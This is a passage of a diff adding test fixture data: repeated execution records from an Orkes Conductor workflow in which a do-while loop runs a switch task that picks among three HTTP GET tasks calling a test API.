"968171ac-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__1", + retryCount: 0, + seq: 4, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857015, + startTime: 1713413857015, + endTime: 1713413857015, + updateTime: 1713413857015, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "968171ac-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__2", + retryCount: 0, + seq: 8, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857270, + startTime: 1713413857270, + endTime: 1713413857270, + updateTime: 1713413857270, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96a8f6e0-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__3", + retryCount: 0, + seq: 12, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857488, + startTime: 1713413857488, + endTime: 1713413857488, + updateTime: 1713413857488, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96ca3a84-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__4", + retryCount: 0, + seq: 16, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857710, + startTime: 1713413857711, + endTime: 1713413857711, + updateTime: 1713413857711, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96ebf358-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 1, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__5", + retryCount: 0, + seq: 20, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857953, + startTime: 1713413857953, + endTime: 1713413857953, + updateTime: 1713413857953, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97112e9c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__6", + retryCount: 0, + seq: 24, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858204, + startTime: 1713413858204, + endTime: 1713413858204, + updateTime: 1713413858204, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97377b50-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__7", + retryCount: 0, + seq: 28, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858412, + startTime: 1713413858412, + endTime: 1713413858412, + updateTime: 1713413858412, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97571144-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__8", + retryCount: 0, + seq: 32, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858625, + startTime: 1713413858625, + endTime: 1713413858625, + updateTime: 1713413858625, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97779198-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__9", + retryCount: 0, + seq: 36, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858864, + startTime: 1713413858864, + endTime: 1713413858864, + updateTime: 1713413858864, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "979c098c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__10", + retryCount: 0, + seq: 40, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859083, + startTime: 1713413859083, + endTime: 1713413859083, + updateTime: 1713413859083, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97bd7440-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: 